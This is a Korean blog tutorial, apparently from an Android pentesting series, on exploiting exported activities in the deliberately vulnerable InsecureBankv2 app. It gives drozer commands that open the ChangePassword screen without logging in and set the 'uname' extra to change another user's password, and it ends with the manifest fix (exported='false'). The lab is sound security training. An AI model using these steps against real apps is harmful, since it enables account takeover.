취약한 인증 매커니즘이란?
(Weak Authorization Mechanism)
애플리케이션의 정상적인 인증 절차를 우회하는 취약점으로서, 이는 비정상적인 인증 및 다른 사용자의 권한 탈취 등의 문제가 발생될 수 있다.
취약점 인증 매커니즘 실습
1. drozer의 app.activity.info 명령어를 이용하여 insecurebank의 액티비티 정보를 확인한다.
dz> run app.activity.info -a com.android.insecurebankv2
Attempting to run shell module
Package: com.android.insecurebankv2 # 패키지 명
com.android.insecurebankv2.LoginActivity # 액티비티 명
Permission: null
com.android.insecurebankv2.PostLogin
Permission: null
com.android.insecurebankv2.DoTransfer
Permission: null
com.android.insecurebankv2.ViewStatement
Permission: null
com.android.insecurebankv2.ChangePassword
Permission: null
2. APK 파일을 java 파일로 디컴파일해주는 도구를 사용하여, 패스워드 변경 시 uname 파라미터를 사용하는 것을 확인한다.
3. run app.activity.start 명령어를 이용하여 원하는 액티비티 직접 접근한다.
Insecurbank의 정상적인 패스워드 변경 절차
- 로그인 후 패스워드 변경 액티비티에 접근
취약한 인증 매커니즘을 통한 비정상적인 패스워드 변경 절차
- 아래의 명령어를 이용하여 로그인하지 않아도 패스워드 변경 액티비티에 접근 가능
# run app.activity.start --component <패키지 명> <액티비티 명>
dz> run app.activity.start --component com.android.insecurebankv2
com.android.insecurebankv2.ChangePassword
안드로이드 기기에서 ChangePassword 액티비티가 실행된 것을 확인할 수 있다.
4. run app.activity.start 명령어의 --extra 옵션을 이용하여 파라미터 'uname'에 패스워드를 변경할 계정명 입력한다.
# run app.activity.start --component <패키지 명> <액티비티 명> --extra string <파라미터 명> <파라미터 값>
dz> run app.activity.start --component com.android.insecurebankv2
com.android.insecurebankv2.ChangePassword --extra string uname jack
안드로이드 기기에서 uname에 파라미터 값 'jack' 이 입력된 것을 확인 후, 패스워드로 변경한다.
5. 서버 정보를 통해서 정상적으로 계정 'jack'의 패스워드가 변경된 것을 확인한다.
대응방안
Androidmanifest.xml에서 Broadcast Reciever 관련 항목이 export="true" 경우 취약한 인증 매커니즘 취약점이 발생한다.
<activity
android:name=".PostLogin"
android:exported="true"
android:label="@string/title_activity_post_login" >
</activity>
exported="false"로 수정하면 된다.
<activity
android:name=".PostLogin"
android:exported="false"
android:label="@string/title_activity_post_login" >
</activity>
'Mobile > 🩷 Android' 카테고리의 다른 글
10. Insecurebankv2 실습_취약한 브로드캐스트 리시버 (0) | 2024.04.27 |
---|---|
09. Insecurebankv2 실습_취약한 콘텐츠 프로바이더 (0) | 2024.04.26 |
07. Anodroid 진단 도구_drozer 기본 명령어 (0) | 2024.04.26 |
06. Anodroid 진단 도구_drozer 설치 (0) | 2024.04.26 |
05. Anodroid 진단 도구_brupsuite 인증서 설치 (0) | 2024.04.25 |